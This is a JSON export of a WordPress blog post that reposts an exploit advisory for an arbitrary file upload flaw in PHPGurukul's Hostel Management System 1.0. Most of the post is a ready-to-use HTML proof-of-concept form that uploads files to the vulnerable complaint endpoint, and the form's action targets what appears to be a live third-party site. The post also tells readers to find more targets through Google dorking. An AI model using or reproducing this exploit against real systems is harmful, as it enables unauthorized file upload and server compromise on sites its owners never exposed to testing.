{"id":59396,"date":"2024-09-02T20:21:10","date_gmt":"2024-09-02T17:21:10","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181233\/hostelms10-upload.txt"},"modified":"2024-09-02T20:21:10","modified_gmt":"2024-09-02T17:21:10","slug":"hostel-management-system-1-0-arbitrary-file-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/hostel-management-system-1-0-arbitrary-file-upload\/","title":{"rendered":"Hostel Management System 1.0 Arbitrary File Upload"},"content":{"rendered":"<p>=============================================================================================================================================<br \/>| # Title : hostel management system 1.0 arbitrary file upload Vulnerability |<br \/>| # Author : indoushka |<br \/>| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 129.0.1 (64 bits) |<br \/>| # Vendor : https:\/\/phpgurukul.com\/hostel-management-system\/ |<br \/>=============================================================================================================================================<\/p>\n<p>poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] Line : 9 Set your Target<\/p>\n[+] Save As poc.html<\/p>\n[+] payload :<\/p>\n<p>&lt;!DOCTYPE html&gt;<br \/>&lt;html lang=&#8221;en&#8221;&gt;<br \/>&lt;head&gt;<br \/>&lt;meta charset=&#8221;UTF-8&#8243;&gt;<br \/>&lt;meta name=&#8221;viewport&#8221; content=&#8221;width=device-width, initial-scale=1.0&#8243;&gt;<br \/>&lt;title&gt;Complaint Form&lt;\/title&gt;<br \/>&lt;\/head&gt;<br \/>&lt;body&gt;<br \/>&lt;form name=&#8221;complaint&#8221; action=&#8221;https:\/\/guardianpg.in\/hostel\/register-complaint.php&#8221; method=&#8221;POST&#8221; enctype=&#8221;multipart\/form-data&#8221;&gt;<br \/>&lt;label for=&#8221;ctype&#8221;&gt;Complaint Type:&lt;\/label&gt;<br \/>&lt;select name=&#8221;ctype&#8221; id=&#8221;ctype&#8221;&gt;<br \/>&lt;option value=&#8221;type1&#8243;&gt;Type 1&lt;\/option&gt;<br \/>&lt;option value=&#8221;type2&#8243;&gt;Type 2&lt;\/option&gt;<br \/>&lt;option value=&#8221;type3&#8243;&gt;Type 3&lt;\/option&gt;<br \/>&lt;\/select&gt;&lt;br&gt;&lt;br&gt;<\/p>\n<p>&lt;label for=&#8221;cdetails&#8221;&gt;Complaint Details:&lt;\/label&gt;&lt;br&gt;<br \/>&lt;textarea name=&#8221;cdetails&#8221; id=&#8221;cdetails&#8221; rows=&#8221;4&#8243; cols=&#8221;50&#8243;&gt;&lt;\/textarea&gt;&lt;br&gt;&lt;br&gt;<\/p>\n<p>&lt;label for=&#8221;image&#8221;&gt;Upload Image:&lt;\/label&gt;<br \/>&lt;input type=&#8221;file&#8221; name=&#8221;image&#8221; id=&#8221;image&#8221;&gt;&lt;br&gt;&lt;br&gt;<\/p>\n<p>&lt;input type=&#8221;submit&#8221; name=&#8221;submit&#8221; value=&#8221;Submit Complaint&#8221;&gt;<br \/>&lt;\/form&gt;<br \/>&lt;\/body&gt;<br \/>&lt;\/html&gt;<\/p>\n[+] your Files : http:\/\/127.0.0.1\/Hostel-Management-Syste-Updated-Code\/hostel\/comnplaintdoc\/<\/p>\n<p>Greetings to :============================================================<br \/>jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |<br \/>==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=============================================================================================================================================| # Title : hostel management system 1.0 arbitrary file upload Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 129.0.1 (64 bits) || # Vendor : https:\/\/phpgurukul.com\/hostel-management-system\/ |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] Line : 9 Set your &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59396","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59396","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59396"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59396\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59396"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59396"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59396"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}